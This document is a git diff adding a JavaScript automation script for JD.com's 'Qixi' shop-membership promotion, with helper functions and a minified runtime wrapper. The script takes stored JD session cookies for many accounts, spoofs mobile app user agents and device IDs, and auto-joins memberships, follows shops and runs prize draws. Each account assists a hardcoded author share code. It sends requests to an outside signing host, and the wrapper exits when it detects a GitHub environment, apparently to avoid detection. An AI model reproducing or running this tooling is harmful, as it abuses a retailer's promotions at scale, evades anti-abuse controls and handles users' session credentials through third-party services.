process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "Accept-Language": "zh-cn", + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + res = JSON.parse(data); + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); + } + async function bindWithVender(body, venderId) { + return ( + (h5st = await geth5st("bindWithVender", body)), + (opt = { + url: `https://api.m.jd.com/client.action?${h5st}`, + headers: { + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "Accept-Language": "zh-cn", + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + "Accept-Encoding": "gzip, deflate, br", + }, + }), + new Promise((resolve) => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + res = JSON.parse(data); + if (res.success) { + console.log(res); + $.bindWithVendermessage = res.message; + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }) + ); + } + function geth5st(functionId, body) { + return new Promise(async (resolve) => { + let data = { + appId: "8adfb", + body: { + appid: "jd_shop_member", + functionId, + body: JSON.stringify(body), + clientVersion: "9.2.0", + client: "H5", + activityId: $.activityId, + }, + callbackAll: true + }; + let Host = ""; + let HostArr = ["jdsign.cf"]; + if (process.env.SIGN_URL) { + Host = process.env.SIGN_URL; + } else { + Host = HostArr[Math.floor(Math.random() * HostArr.length)]; + } + let options = { + url: `https://cdn.nz.lu/geth5st`, + body: JSON.stringify(data), + headers: { + Host, + "Content-Type": "application/json", + }, + timeout: 30 * 1000, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + data = await geth5st.apply(this, arguments); + } else { + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customizeds.js b/jd_lzdz1_customizeds.js new file mode 100644 index 0000000..e528a3c --- /dev/null +++ b/jd_lzdz1_customizeds.js @@ -0,0 +1,547 @@ +/* +“七”待已久,“夕”望你来 +*/ +const $ = new Env("“七”待已久,“夕”望你来"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require("./sendNotify") : ""; +let cookiesArr = [], cookie = "", message = ""; +let ownCode = null; +let authorCodeList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + let cookiesData = $.getdata("CookiesJD") || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map((item) => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter((item) => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/code/raw/master/lzdz112.json') + // if ($.getAuthorCodeListerr === false) { + // authorCodeList = [ + // '917746a95cae46618c8f6b0ff55dfbc2', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ""; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue; + } + $.bean = 0; + $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); + $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); + authorCodeList = [ + 'a944fc3b436741718bda3115f7a81e7f', + // '60ec3454bd4e44c6b39431f602161729', + // '99a10aa547ae425f8245479a3f6cc680', + ]; + // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}`; + $.randomCode = random(1000000, 9999999); + $.activityId = "e6fc50c7dcc34c99bf5cca76c8c6468e"; + $.activityShopId = "1000164941"; + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/joinCommon/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=1000004065&lng=00.000000&lat=00.000000&sid=&un_area=`; + await member(); + // await $.wait(1000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; + } + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message, "", `\n`); + } else { + $.msg($.name, "有点儿收获", message); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + $.addScore = 1 + lz_cookie = {}; + await getFirstLZCK(); + await getToken(); + await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " + $.authorCode); + // console.log(cookie) + await task("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=`, 1); + // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); + if ($.index === 1) { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + } else { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); + } + $.log("关注店铺"); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=20&taskValue=`); + await $.wait(500); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=`); + await $.wait(500); + await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + $.log("加入店铺会员"); + if ($.openCardList) { + for (const vo of $.openCardList) { + // console.log(vo) + $.log(`>>> 去加入${vo.name} ${vo.value}`); + // await task("crm/pageVisit/insertCrmPageVisit", `venderId=1000000576&elementId=入会跳转&pageId=dzlhkk068d4d0ab8a6609723002f50&pin=${encodeURIComponent($.secretPin)}`, 1); + // await $.wait(500); + // await getFirstLZCK(); + // await getToken(); + await getShopOpenCardInfo({ venderId: `${vo.value}`, channel: "401" }, vo.value); + // console.log($.openCardActivityId) + await bindWithVender({ venderId: `${vo.value}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: 2329491, channel: 401 }, vo.value); + // await $.wait(500); + } + } else { + $.log("没有获取到对应的任务。\n"); + } + // await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + // await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + console.log("去助力 -> " + $.authorCode); + // // await task("joinCommon/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + await task("joinCommon/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await getFirstLZCK() + // await getToken(); + // console.log('抽奖 -> ') + // await $.wait(2000) + await task('joinCommon/startDraw', `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('100 -> ') + // await getFirstLZCK() + // await getToken(); + // await $.wait(2000) + // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case "dz/common/getSimpleActInfoVo": + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + // console.log($.venderId) + break; + case "wxActionCommon/getUserInfo": + break; + case "joinCommon/activityContent": + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`); + $.log("-------------------"); + if ($.index === 1) { + ownCode = data.data.actorInfo["uuid"]; + console.log(ownCode); + } + $.actorUuid = data.data.actorInfo["uuid"]; + } else { + $.log("活动已经结束"); + } + break; + case "joinCommon/taskInfo": + $.openCardList = data.data['1']['settingInfo']; + $.openCardStatus = data.data; + // console.log($.openCardList) + break; + case "joinCommon/startDraw": + console.log(data); + if (data.data) { + $.addScore = data.data.addScore + } + break; + case "linkgame/sign": + console.log(data); + break; + case "opencard/addCart": + if (data.data) { + console.log(data.data); + } + break; + case "linkgame/sendAllCoupon": + if (data.data) { + console.log(data.data); + } + + break; + case "interaction/write/writePersonInfo": + console.log(data); + break; + case "linkgame/draw": + console.log(data); + break; + case "linkgame/draw/record": + console.log(data.data); + break; + case "joinCommon/assist/status": + $.log(JSON.stringify(data)); + break; + case "joinCommon/assist": + $.log(JSON.stringify(data)); + break; + case "opencard/help/list": + $.log(JSON.stringify(data)); + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} + +function getAuthorCodeList(url) { + return new Promise((resolve) => { + const options = { + url: `${url}?${new Date()}`, + timeout: 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false; + } else { + if (data) data = JSON.parse(data); + $.getAuthorCodeListerr = true; + } + } catch (e) { + $.logErr(e, resp); + data = null; + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: body, + }; +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (data) { + data = JSON.parse(data); + if (data.result) { + $.log(`你好:${data.data.nickname}`); + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; + } else { + $.log(data.errorMessage); + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function getFirstLZCK() { + return new Promise((resolve) => { + $.get( + { + url: $.activityUrl, + headers: { + "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }, + (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if 